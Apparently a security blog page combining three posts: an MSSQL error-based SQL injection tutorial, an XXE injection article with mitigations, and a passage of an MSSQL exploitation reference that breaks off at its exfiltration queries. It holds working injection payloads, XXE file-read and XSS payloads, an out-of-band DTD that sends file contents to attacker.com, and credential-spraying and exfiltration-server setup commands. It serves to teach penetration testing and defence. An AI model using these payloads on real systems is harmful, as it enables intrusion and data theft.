17/03/2012

Yet Another Error Based SQL Injection Tutorial

Intro 

This article is created for completeness in this Blog as far as the Web Application Security is concerned and it is mainly focused in MS SQL injections.

What is SQL?

SQL was originally developed at IBM in the early 1970s but was not officially formalized until 1986 by the American National Standards Institute (ANSI). SQL was initially designed as a data query and manipulation language with limited functionality when compared to today’s feature-rich SQL dialects.

SQL Microsoft SQL Server

Transact-SQL (T-SQL) is Microsoft's and Sybase's proprietary extension to SQL. SQL, often expanded to Structured Query Language, is a standardized computer language that was originally developed by IBM for querying, altering and defining relational databases, using declarative statements. T-SQL expands on the SQL standard to include procedural programming, local variables, various support functions for string processing, date processing, mathematics, etc. and changes to the DELETE and UPDATE statements. These additional features make Transact-SQL Turing complete.

Transact-SQL is central to using Microsoft SQL Server. All applications that communicate with an instance of SQL Server do so by sending Transact-SQL statements to the server, regardless of the user interface of the application.


What is SQL injection?

SQL injection is a technique to maliciously exploit applications that use client-supplied data in SQL statements. Attackers trick the SQL engine into executing unintended commands by supplying specially crafted string input, thereby gaining unauthorized access to a database in order to view or manipulate restricted data.

Where to look for SQL Injection

You should look for SQL injections practically and realistically speaking in all variables included in a Web Application. SQL injection is an attack in which SQL code is inserted or appended into application user input parameters (the web application might also populate variables automatically that feed back end database) that are later passed to a back-end SQL server for parsing and execution. Any procedure that constructs SQL statements could potentially be vulnerable,as the diverse nature of SQL and the methods available for constructing it provide a wealth of coding options.

The primary form of SQL injection consists of direct insertion of code into parameters that are concatenated with SQL commands and executed. A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL
command, the malicious code is executed.

Why SQL Injection Happens

When a Web application fails to properly sanitize the parameters which are passed to dynamically created SQL statements it is possible for an attacker to alter the construction of back-end SQL statements. When an attacker is able to modify an SQL statement, the statement will execute with the same rights as the application user.

SQL Injection Happens usually for two reasons:

  1. Dynamically generated SQL queries using concatination strings operators.
  2. Un-sanitized input to this SQL queries. 

Note: When using the SQL server to execute commands that interact with the operating system, the process will run with the same permissions as the component that executed the command.

Types of SQL Injections

According to my experience there are three types of SQL injections:

  1. Error Based SQL injections (no input validation or output database error filtering).
  2. Semi Blind/Error Based SQL injections (minor or no input validation but output database error filtering).
  3. Blind SQL injections (strict both input and output filtering).
How you identify Error Based SQL Injections 

You can identify an SQL injection by injecting the following five characters: ' , " , ) , ; , -- and all the combination of this five characters e.g );-- or '); -- e.t.c. If you inject one of this characters to a vulnerable variable then if the web application is not filtering the database SQL injection generated error more info is going to be revealed about the back end database.

Identify Number of Columns using the NULL data type

After successfully identifying a vulnerable variable the next best thing to do is to understand the structure of the select query. The structure of the SELECT query is revealed through the SQL verbose errors, so in order to find the structure we use the NULL character, because the NULL character can be casted into any data type each column of the abused SELECT query is. So by progressively increasing the amount of NULL characters eventually the query will execute as if there was a valid query (No database error will be returned ).  

MSSQL:‘ UNION SELECT NULL--
MSSQL:‘ UNION SELECT NULL,NULL--
MSSQL:‘ UNION SELECT NULL,NULL,NULL--

Poof -- no error comes back from SQL,  the query was executed.

Note: You might also have to play with the comment characters at the end of the injected query some times. 

Identify number of Columns using ORDER BY Clause (Transact-SQL)

In order to identify the name of the columns we use the ORDER BY Clause (Transact-SQL) in MSSQL. ORDER BY Clause  specifies the sort order used on columns returned in a SELECT statement. The ORDER BY clause is not valid in views, inline functions, derived tables, and subqueries. The ORDER BY clause does not guarantee ordered results when these constructs are queried, unless ORDER BY is also specified in the query itself.

Syntax:[ ORDER BY
{
order_by_expression
[ COLLATE collation_name ]
[ ASC | DESC ]
} [ ,...n ]
]

Specifies a column on which to sort. A sort column can be specified as a name or column alias, or a nonnegative integer representing the position of the name or alias in the select list. An integer cannot be specified when the order_by_expression appears in a ranking function. A sort column can include an expression, but when the database is in SQL Server (90) compatibility mode, the expression cannot resolve to a constant. Column names and aliases can be qualified by the table or view name.

In SQL Server, qualified column names and aliases are resolved to columns listed in the FROM clause. If order_by_expression is not qualified, the value must be unique among all columns listed in the SELECT statement.Multiple sort columns can be specified. The sequence of the sort columns in the ORDER BY clause defines the organization of the sorted result set.

The ORDER BY clause can include items that do not appear in the select list. However, if SELECT DISTINCT is specified, or if the statement contains a GROUP BY clause, or if the SELECT statement contains a UNION operator, the sort columns must appear in the select list. Additionally, when the SELECT statement includes a UNION operator, the column names or column aliases must be those specified in the first select list.

COLLATE {collation_name}

Specifies that the ORDER BY operation should be performed according to the collation specified in collation_name, and not according to the collation of the column as defined in the table or view. collation_name can be either a Windows collation name or a SQL collation name. For more information, see Collation Settings in Setup and Using SQL Server Collations. COLLATE is applicable only for columns of the char, varchar, nchar, and nvarchar data types.

ASC

Specifies that the values in the specified column should be sorted in ascending order, from lowest value to highest value. ASC is the default sort.

DESC

Specifies that the values in the specified column should be sorted in descending order, from highest value to lowest value.

Note1: ntext , text, image, or xmlcolumns cannot be used in an ORDER BY clause.

Note2: Null values are treated as the lowest possible values.

Note3: There is no limit to the number of items in the ORDER BY clause. However, there is a limit of 8,060 bytes for the row size of intermediate worktables needed for sort operations. This limits the total size of columns specified in an ORDER BY clause.

Note4: When used together with a SELECT...INTO statement to insert rows from another source, the ORDER BY clause does not guarantee the rows are inserted in the specified order.

Extended malicious SELECT query using ORDER BY:

MSSQL:' ORDER BY 1 --
MSSQL:' ORDER BY 2 --
MSSQL:' ORDER BY 3 --

We do that untill an error occures (just like the NULL queries) and that way you learn the number of columns.

Identify Type of Columns using version variable

Similar technique can be used with the version system variable: 

MSSQL:‘ UNION SELECT @@version,NULL,NULL--
ORACLE:‘ UNION SELECT banner,NULL,NULL FROM v$version--

Note: that Oracle doesn’t support this schema. When targeting an Oracle database, the attack would be identical in every other way. However, you would use the query. When multiple columns are returned from a target table, these can be concatenated into a single column. This makes retrieval more straightforward,
because it requires identifi cation of only a single varchar field in the original query:

Identify Name of Columns using HAVING (Transact-SQL)

HAVING (Transact-SQL) specifies a search condition for a group or an aggregate. HAVING can be used only with the SELECT statement. HAVING is typically used in a GROUP BY clause. When GROUP BY is not used, HAVING behaves like a WHERE clause.

Syntax:[ HAVING ]Arguments search_condition

Specifies the search condition for the group or the aggregate to meet. The text, image, and ntext data types cannot be used in a HAVING clause.

Malicious queries using HAVING to identify columns:

MSSQL:‘ HAVING 1=1--
MSSQL:‘GROUP BY table.column_name1 HAVING 1=1 --
MSSQL:‘GROUP BY table.column_name1, table.column_name2 HAVING 1=1 --

Note:Now when successfully enumerating all column names no error should be returned (meaning that the query should be successful). 

Identify Data Type of Columns using different data types

The next step would be to identify the type of the data in each column. Lets say that based on our experience  the query is possible to contain string type characters. So we "scan" each column with char 'a':  

MSSQL:‘ UNION SELECT ‘a’, NULL, NULL--
MSSQL:‘ UNION SELECT NULL, ‘a’, NULL--
MSSQL:‘ UNION SELECT NULL, NULL, ‘a’ --
 Poof -- no casting error comes back from SQL.  

Note: In Oracle databases, every SELECT statement must include a FROM attribute, so injecting UNION SELECT NULL produces an error regardless of the number of columns. You can satisfy this requirement by selecting from the globally accessible table DUAL. For example in Oracle you can inject:

ORACLE:‘ UNION SELECT NULL FROM DUAL--
ORACLE:‘ UNION SELECT NULL,NULL,'a' FROM DUAL--
ORACLE:‘ UNION SELECT NULL,'a',NULL FROM DUAL--

 Poof -- no casting error comes back from SQL.
   
Identify Data Type of Columns using SUM (Transact-SQL)

SUM (Transact-SQL) returns the sum of all the values, or only the DISTINCT values, in the expression. SUM can be used with numeric columns only. Null values are ignored. May be followed by the OVER Clause (Transact-SQL).

MSSQL:‘ UNION SELECT SUM(column_name1) FROM table --
MSSQL:‘ UNION SELECT SUM(column_name2) FROM table --
MSSQL:‘ UNION SELECT SUM(column_name3) FROM table --

Poof -- no casting error comes back from SQL.  

Note: The SUM function attempts to perform a second query and combine the results with those of the original.


References:

  1. http://en.wikipedia.org/wiki/Transact-SQL

14/03/2012

Infiltrating corporate networks using XXE injection

XML External Entity (XXE) Injection — Updated 2026

XML External Entity (XXE) Injection

DTD Abuse // File Disclosure // Blind OOB Exfiltration // SSRF via XML
XXE CWE-611 A5:2021 SSRF Blind OOB Updated 2026

Intro

External entity injection is generally speaking a type of XML injection that allows an attacker to force a badly configured XML parser to "include" or "load" unwanted functionality that compromises the security of a web application. This type of attack is well documented and known since 2002, though it continues to appear in modern applications — particularly in SOAP services, file upload handlers, and legacy enterprise integrations.

Taxonomy (2026): XXE was categorized as OWASP A4:2017 — XXE (its own dedicated category). In OWASP Top 10 2021, it was merged into A5:2021 — Security Misconfiguration. The primary CWE is CWE-611 (Improper Restriction of XML External Entity Reference). Also relevant: CWE-827 (Improper Control of Document Type Definition).

XML external entity injection vulnerabilities arise because the XML specification allows XML documents to define entities which reference resources external to the document. XML parsers typically support this feature by default, even though it is rarely required by applications during normal usage.

An XXE attack is usually an attack on an application that parses XML input from untrusted sources using an incorrectly configured XML parser. The application may be coerced to open arbitrary files and/or TCP connections — allowing embedding of data outside the main file into an XML document. A successful XXE injection attack could allow an attacker to access operating system files, cause a DoS attack, perform SSRF, or in certain conditions inject JavaScript (performing an XSS attack).

How the XML parser works

Based on W3C Recommendation — Extensible Markup Language (XML) 1.0, Fifth Edition

When an XML processor recognizes a reference to a parsed entity, in order to validate the document, the processor MUST include its replacement text. If the entity is external, and the processor is not attempting to validate the XML document, the processor MAY, but need not, include the entity's replacement text. If a non-validating processor does not include the replacement text, it MUST inform the application that it recognized, but did not read, the entity.

This rule is based on the recognition that the automatic inclusion provided by the SGML and XML entity mechanism, primarily designed to support modularity in authoring, is not necessarily appropriate for other applications, in particular document browsing. Browsers, for example, when encountering an external parsed entity reference, might choose to provide a visual indication of the entity's presence and retrieve it for display only on demand.

When an entity reference appears in an attribute value, or a parameter entity reference appears in a literal entity value, its replacement text MUST be processed in place of the reference itself as though it were part of the document at the location the reference was recognized, except that a single or double quote character in the replacement text MUST always be treated as a normal data character and MUST NOT terminate the literal.

How the XML parser handles XXEs

An XXE is meant to be converted to a Uniform Resource Identifier (URI) reference (as defined in IETF RFC 3986), as part of the process of dereferencing it to obtain input for the XML processor to construct the entity's replacement text. It is an error for a fragment identifier (beginning with a # character) to be part of a system identifier. Unless otherwise provided by information outside the scope of this article, or a processing instruction defined by a particular application specification, relative URIs are relative to the location of the resource within which the entity declaration occurs.

This is defined to be the external entity containing the < which starts the declaration, at the point when it is parsed as a declaration. A URI might thus be relative to the document entity, to the entity containing the external Document Type Definition (DTD) subset, or to some other external parameter entity. Attempts to retrieve the resource identified by a URI may be redirected at the parser level (for example, in an entity resolver) or below (at the protocol level, for example, via an HTTP Location: header).

Note: A Document Type Definition defines the legal building blocks of an XML document. It defines the document structure with a list of legal elements and attributes. A DTD can be declared inline inside an XML document, or as an external reference.

In the absence of additional information outside the scope of this specification within the resource, the base URI of a resource is always the URI of the actual resource returned. In other words, it is the URI of the resource retrieved after all redirection has occurred.

Attacker Crafts malicious XML <!ENTITY xxe SYSTEM ...> Vulnerable XML parser DTD processing enabled Local files file:///etc/passwd Internal services http://internal:8080 Cloud metadata 169.254.169.254 Data exfiltration In-band or OOB via external DTD Attacker receives data
Figure 1 — XXE attack flow: from malicious DTD to data exfiltration

An actual example of XXE

Based on what is already explained about how the XML parser handles XXE, in the following example the XML document will make an XML parser read /etc/passwd and expand it into the content of the PutMeHere tag:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE PutMeHere [ <!ELEMENT PutMeHere ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <PutMeHere>&xxe;</PutMeHere>

See how the ENTITY definition creates the xxe entity, and how this entity is referenced in the final line. The textual content of the PutMeHere tag will be the content of /etc/passwd. If the above XML input is fed to a badly configured XML parser, the passwd file contents will be loaded and returned.

Note: The XML document is not valid if the &xxe; reference does not start with the & character and terminate with the ; character. The attack is limited to files containing text that the XML parser will allow at the place where the external entity is referenced. Files containing non-printable characters, and files with randomly located less-than signs or ampersands, will not be included. This restriction greatly limits the number of possible target files.

Identifying XXE attack strings

The following table contains attack strings that can help someone break the XML schema and cause the XML parser to return possibly verbose errors, helping you identify the XML structures.

#PayloadPurpose
1'Single quote — break attribute values
2''Double single quote
3"Double quote — break attribute values
4""Double double quote
5<Open tag — trigger parser error
6>Close tag
7]]>CDATA end — premature closure
8]]>>Malformed CDATA end
9<!--/-->Malformed comment
10/-->Partial comment close
11-->Comment close without open
12<!--Comment open without close
13<!Incomplete declaration
14<![CDATA[ / ]]>CDATA section — bypass parsing
CDATA sections: <![CDATA[ / ]]> — CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. Characters enclosed in a CDATA section are not parsed by the XML parser.

Exploiting XXE vulnerabilities

Let's suppose there is a web application using XML-style communication to perform user login. This is done by creating and adding a new <user> node on an XML database file. We will try to inject XML that breaks the schema. Some or all of the following attempts will generate an XML error, helping us understand the XML schema.

Valid XML request

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1</username> <credentials>pass1</credentials> </user>

Example 1 — angle bracket injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<</username> <credentials>pass1</credentials> </user>

Example 2 — malformed comment injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<--<</username> <credentials>pass1</credentials> </user>

Example 3 — closing angle bracket

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1></username> <credentials>pass1</credentials> </user>

Example 4 — comment injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<!--/--></username> <credentials>pass1</credentials> </user>

Injecting <!-- after the username causes the parser to interpret everything after it as a comment, potentially consuming the closing tag and credentials field — generating an informative error message that reveals schema structure.

Example 5 — CDATA injection

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1 <![CDATA[ / ]]> </username> <credentials>pass1</credentials> </user>

Example 6 — XSS via CDATA

<?xml version="1.0" encoding="ISO-8859-1"?> <user> <username>user1<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></username> <credentials>pass1</credentials> </user>

When the XML document is parsed, the CDATA delimiters are eliminated, reconstructing a <script> tag. If the tag contents are reflected in an HTML page, XSS is achieved.

A real attack scenario

XXE attacks can result in OS file read access, similar to a path traversal attack. Consider a sophisticated e-banking application that uses the browser as a thin client, consuming a web service after successful login. The transaction XML message carries the username and password back and forth alongside the transaction data.

Client request — legitimate transaction

<?xml version="1.0" encoding="ISO-8859-7"?> <appname> <header> <principal>username1</principal> <credential>userpass1</credential> </header> <fixedPaymentsDebitRequest> <fixedPayment organizationId="44" productId="61" clientId="33333333" paymentId="3" referenceDate="2008-05-12" paymentDate="20-11-25"> <amount currency="EUR">100,1</amount> <transactionId>1111111</transactionId> <description>customer description</description> </fixedPayment> </fixedPaymentsDebitRequest> </appname>

Client request — with XXE injection

<?xml version="1.0" encoding="ISO-8859-7"?> <!DOCTYPE foo [<!ENTITY xxefca0a SYSTEM "file:///etc/passwd"> ]> <appname> <header> <principal>username1&xxefca0a;</principal> <credential>userpass1</credential> </header> <fixedPaymentsDebitRequest> ... </fixedPaymentsDebitRequest> </appname>

The &xxefca0a; entity reference in the <principal> tag causes the parser to read /etc/passwd and embed its contents into the XML. The server response — whether a success or error message — will contain the file contents concatenated with the username.

Server response — file contents exfiltrated

HTTP/1.1 400 Bad Request ...error message containing... username1root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ... jboss:x:101:101:JBossAS:/usr/share/jbossas:/bin/sh Server: Apache/x.x (Red Hat) Content-Type: text/html;charset=ISO-8859-1
Attacker XXE payload Vulnerable web app XML parser as SSRF proxy Escalation paths Read /etc/hosts Map internal IPs Port scan http://host:PORT Fingerprint Web servers / DBs Map FW rules Egress filtering Full internal network compromise SQLi via proxy / admin panel access / DB shutdown Tools: Burp Intruder (Sniper mode) + DirBuster wordlist + fuzzdb Technique: rotate ports per host, identify egress rules from error timing
Figure 2 — XXE escalation: from file read to full internal network pivot

The next step after initial file exfiltration would be to map the outbound local firewall rules to see what traffic is allowed to go out. Download the /etc/hosts file of the compromised web server, then start forwarding traffic to identified internal machines. As soon as you get a response back, you know that the specific machine is actively responding. Then rotate through all ports to identify which services are accessible. This maps the egress filtering done by the application server's local firewall.

After mapping the firewall rules, the next step would be to fingerprint surrounding web servers using DirBuster directory lists, or further escalate using HTTPS to fingerprint based on SSL/TLS error responses, and then deliver payloads or perform path traversal / SQL injection attacks through the XML parser.

What can you do with a successful XXE attack

  1. Use the application as a proxy, retrieving sensitive content from any web servers the application can reach, including those on private non-routable address space.
  2. Exploit vulnerabilities on back-end web applications, provided they can be exploited via URIs (directory brute-forcing, SQL injection, path traversal, etc.).
  3. Test for open ports on back-end systems by cycling through IP addresses and port numbers. Timing differences can be used to infer the state of requested ports. Service banners may appear in application responses.
  4. Map firewall rules on other company extranets.
  5. DoS internal company web server machines (e.g. requesting /dev/random or recursive entity expansion — the "Billion Laughs" attack).
  6. Hide port scans by mixing them with the vulnerable web server's legitimate traffic.
  7. Access cloud metadata endpoints to steal IAM credentials (AWS, GCP, Azure).
  8. Connect to internal services like syslog daemons, proxy admin panels, or unprotected file shares via UNC paths.
  9. Launch blind SQL injection attacks through the parser against surrounding database servers.

Modern attack vectors New 2026

Blind XXE via out-of-band (OOB) exfiltration

When the application does not return the parsed entity content in its response (no direct output), blind XXE via OOB channels can still exfiltrate data. The technique uses parameter entities to load an external DTD from an attacker-controlled server, which in turn constructs a URL containing the target file's contents and forces the parser to request it.

# Malicious payload sent to the application: <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <root>test</root> # Contents of evil.dtd hosted on attacker.com: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

The parser loads the external DTD, reads the target file into the %file; parameter entity, constructs a URL containing the file data, and makes an HTTP request to the attacker's server — exfiltrating the data in the URL query string. This works even when no XML output is reflected to the attacker.

Step 1 Attacker XXE + ext DTD ref Vulnerable parser Step 2 evil.dtd Step 3: Parser loads DTD Step 4: Parser reads local file file:///etc/hostname Content: "prod-web-01" Step 5: Exfil via HTTP callback HTTP request to attacker GET /?data=prod-web-01 → attacker.com Attacker reads data from access logs
Figure 3 — Blind XXE via out-of-band (OOB) data exfiltration

XXE via file upload

Many common file formats are XML-based internally. Uploading a malicious file in one of these formats can trigger XXE processing even when the application doesn't appear to accept XML input:

  1. SVG images — SVG is XML. A malicious SVG with an XXE payload can trigger when the server processes the image (thumbnail generation, rendering, metadata extraction).
  2. DOCX / XLSX / PPTX — Microsoft Office Open XML formats are ZIP archives containing XML files. Replacing [Content_Types].xml or other internal XML files with XXE payloads can trigger the vulnerability when the server parses the document.
  3. SOAP endpoints — SOAP is inherently XML-based. DTD declarations injected into SOAP envelopes are frequently processed by the underlying XML parser.
# Malicious SVG file (upload as profile picture, etc.): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text x="0" y="20">&xxe;</text> </svg>

Content-type switching (JSON to XML)

Some application frameworks accept both JSON and XML based on the Content-Type header. If an API endpoint normally expects JSON, switching the Content-Type to application/xml or text/xml may cause the server to route the body through an XML parser — even if the developers never intended to accept XML input. This is particularly common with Java-based REST frameworks (JAX-RS, Spring MVC).

# Original JSON request: POST /api/login HTTP/1.1 Content-Type: application/json {"username": "admin", "password": "test"} # Switched to XML with XXE: POST /api/login HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> <username>&xxe;</username> <password>test</password> </root>

Mitigation of XXE vulnerabilities Updated

The primary defense is to disable DTD processing and external entity resolution in your XML parser. The exact configuration varies by language and library:

Java (DocumentBuilderFactory)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Disable DTDs entirely (most secure) dbf.setFeature( "http://apache.org/xml/features/disallow-doctype-decl", true); // If DTDs can't be disabled, at minimum disable external entities dbf.setFeature( "http://xml.org/sax/features/external-general-entities", false); dbf.setFeature( "http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature( "http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);

Python (lxml / defusedxml)

# Use defusedxml — drop-in replacement that blocks XXE by default import defusedxml.ElementTree as ET tree = ET.parse('input.xml') # Or with lxml, disable network access and entity resolution from lxml import etree parser = etree.XMLParser( resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False )

.NET (XmlReaderSettings)

XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings);

PHP (libxml)

// Disable entity loading before any XML parsing libxml_disable_entity_loader(true); // For SimpleXML: $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_NONET);
Important: libxml_disable_entity_loader() is deprecated in PHP 8.0+ because libxml2 >= 2.9.0 disables external entity loading by default. However, always verify your specific PHP and libxml2 versions — older deployments may still be vulnerable.

General hardening principles

  1. Disable DTD processing entirely — this is the most effective defense. If your application doesn't need DTD validation (and almost none do), disable the DOCTYPE declaration completely.
  2. Use allowlists for external entity URIs — if external entities are genuinely needed, restrict them to known-good URIs only.
  3. Validate Content-Type headers — reject XML content types on endpoints that should only accept JSON. This blocks content-type switching attacks.
  4. Scan uploaded files — inspect DOCX, XLSX, SVG, and other XML-based file formats for DTD declarations before processing them.
  5. Apply network-level controls — even if XXE is exploited, egress filtering, IMDSv2 enforcement, and network segmentation limit the blast radius.
  6. Use SAST tools — static analysis can identify insecure XML parser configurations. Tools like Semgrep have built-in rules for XXE detection across multiple languages.

Summary

When an application is vulnerable to XXE, the attacker may be capable of gaining access to the web server OS file system, causing DoS attacks (via /dev/random or recursive entity expansion), performing SSRF against internal services, exfiltrating data via out-of-band channels, or even achieving XSS through XML-to-HTML reflection. Modern XXE often comes through non-obvious vectors: SVG uploads, Office documents, SOAP endpoints, and content-type switching on REST APIs.


11/03/2012

MSSQL Injection OPENROWSET Side Channel

MSSQL Exploitation: OPENROWSET, xp_cmdshell, and Database Attack Primitives — 2026 Edition
2026 Edition

MSSQL Exploitation: OPENROWSET, xp_cmdshell, and Database Attack Primitives

A penetration tester's complete reference to MSSQL attack surface — from SQL injection to OS shell, data exfiltration to domain compromise.

Microsoft SQL Server remains one of the most common database platforms in enterprise environments, and it is consistently one of the most rewarding targets in internal penetration tests. MSSQL offers a rich set of built-in functionality that, when misconfigured or when accessed through SQL injection, gives an attacker capabilities ranging from data exfiltration to full operating system command execution to Active Directory domain compromise.

This post covers the core attack primitives every pentester needs to know: OPENROWSET for data exfiltration and file access, xp_cmdshell for OS command execution, hash capture techniques, privilege escalation within SQL Server, and the relationship between MSSQL and Active Directory that makes database compromise a frequent path to domain admin.

Who this is for: Penetration testers, OSCP/OSCP+ candidates, and security engineers who encounter MSSQL during internal engagements. Assumes familiarity with SQL injection fundamentals and basic Windows/AD concepts. All techniques demonstrated here require authorized access — this is pentest documentation, not a hacking tutorial.


Initial Access

Getting Into MSSQL

Before exploiting MSSQL internals, you need access. The most common paths in during a penetration test:

Access VectorDetails
SQL Injection Web application or API vulnerability that passes attacker-controlled input to MSSQL queries. The classic path. Stacked queries (; statement separator) are supported in MSSQL, which massively expands what you can do compared to databases that only allow single statements.
Default / Weak Credentials SA account with blank or weak password, application service accounts with predictable credentials. Spray with CrackMapExec: crackmapexec mssql target -u sa -p passwords.txt
Credential Reuse Credentials captured elsewhere (Responder, LSASS dump, config files) that work against MSSQL. Try captured domain creds with Windows authentication.
Connection String Leaks Hardcoded credentials in web.config, appsettings.json, environment variables, source code repositories, or SharePoint/wiki pages.
SPN Discovery MSSQL instances register SPNs in Active Directory. Enumerate with GetUserSPNs.py or PowerUpSQL's Get-SQLInstanceDomain — gives you instance locations and potential Kerberoasting targets.

Discovery and Enumeration

# Discover MSSQL instances on the network # UDP broadcast on port 1434 (SQL Browser Service) nmap -sU -p 1434 --script ms-sql-info target_range # Nmap scripts for MSSQL nmap -p 1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password target_ip # CrackMapExec enumeration crackmapexec mssql target_range crackmapexec mssql target_ip -u user -p password --local-auth # PowerUpSQL — AD-integrated discovery (from domain-joined host) Import-Module PowerUpSQL Get-SQLInstanceDomain # Find all SQL instances via SPN enumeration Get-SQLInstanceBroadcast # UDP broadcast discovery Get-SQLServerInfo -Instance "target_ip" # Impacket mssqlclient.py domain/user:password@target_ip -windows-auth mssqlclient.py sa:password@target_ip

First Steps After Access

Once connected, enumerate your privileges and the environment before doing anything aggressive:

-- Who are you? SELECT SYSTEM_USER; -- Login name (SQL or Windows) SELECT USER_NAME(); -- Database user name SELECT @@SERVERNAME; -- Server name SELECT @@VERSION; -- Full version string SELECT DB_NAME(); -- Current database -- Are you sysadmin? SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = yes -- All logins and their roles SELECT sp.name AS login, sp.type_desc, sp.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin FROM sys.server_principals sp JOIN sys.syslogins sl ON sp.sid = sl.sid WHERE sp.type IN ('S','U','G'); -- List databases SELECT name, state_desc FROM sys.databases; -- List user tables in current database SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'; -- Check interesting server configurations EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell'; -- OS command execution EXEC sp_configure 'Ad Hoc Distributed Queries'; -- OPENROWSET EXEC sp_configure 'Ole Automation Procedures'; -- sp_OACreate EXEC sp_configure 'clr enabled'; -- CLR assemblies -- Check linked servers (lateral movement opportunities) EXEC sp_linkedservers; SELECT * FROM sys.servers;

Data Exfiltration

OPENROWSET — Remote Data Access and Exfiltration

OPENROWSET is a T-SQL function that performs a one-time, ad-hoc connection to a remote OLE DB data source — another SQL Server, an Access database, an Excel file, or any OLE DB-compatible source. It appears in SELECT, INSERT, UPDATE, and DELETE statements without requiring a persistent linked server configuration. It also supports a BULK provider for reading local files directly.

From a pentester's perspective, OPENROWSET gives you three capabilities: outbound data exfiltration to an attacker-controlled database, local file reading on the database server, and NTLM hash capture via UNC path authentication.

Prerequisites

  • The Ad Hoc Distributed Queries server option must be enabled (disabled by default since SQL Server 2005 — but always check, because DBAs re-enable it for legitimate reasons)
  • The executing user needs appropriate permissions — sysadmin can do everything; non-sysadmin users need explicit ADMINISTER BULK OPERATIONS for BULK operations
  • For outbound exfiltration: TCP connectivity from the database server to your listener (default port 1433, but you can specify any port)
-- Check if Ad Hoc Distributed Queries is enabled EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ad Hoc Distributed Queries'; -- config_value = 1 means enabled -- Enable it (requires sysadmin) EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;

OPENROWSET Syntax

OPENROWSET( 'provider_name', 'provider_string', -- connection info: server, credentials { [catalog.][schema.]object | 'query' } ) -- Or with BULK provider (local file read): OPENROWSET( BULK 'file_path', SINGLE_CLOB | SINGLE_BLOB | SINGLE_NCLOB | FORMATFILE = 'format_file_path' ) AS alias

The key arguments:

ArgumentWhat It Does
provider_nameOLE DB provider. For MSSQL-to-MSSQL: 'SQLOLEDB' (legacy) or 'MSOLEDBSQL' (modern). For ODBC: 'MSDASQL'.
datasourceServer address. Use Network=DBMSSOCN; prefix for TCP/IP. Append ,port after IP for non-standard ports.
user_id / passwordCredentials for the remote data source — these are credentials on your attacker-controlled server, not the target.
provider_stringAlternative: entire connection string in one parameter.
'query'Pass-through query executed on the remote server. Results returned to the local context.
BULK 'file_path'Read a local file. SINGLE_CLOB = text, SINGLE_BLOB = binary, SINGLE_NCLOB = Unicode text.

Technique 1: Outbound Data Exfiltration

The core attack: use OPENROWSET to push query results from the target database to a SQL Server you control. The target database initiates the outbound TCP connection — if egress filtering blocks port 1433, specify a different port.

Attacker Setup

# Run MSSQL on your attack machine via Docker docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \ -p 1433:1433 --name mssql-loot \ -d mcr.microsoft.com/mssql/server:2022-latest # On a non-standard port (firewall evasion) docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \ -p 8443:1433 --name mssql-loot \ -d mcr.microsoft.com/mssql/server:2022-latest # Create the loot database and receiving table # Columns must match the data you are exfiltrating sqlcmd -S localhost -U sa -P 'Attacker!Pass123' -Q " CREATE DATABASE loot; GO USE loot; CREATE TABLE exfil_users (username NVARCHAR(256), email NVARCHAR(256), pw_hash NVARCHAR(256)); CREATE TABLE exfil_tables (table_name NVARCHAR(256)); CREATE TABLE exfil_generic (col1 NVARCHAR(MAX)); GO "

Exfiltration Queries (executed on target)

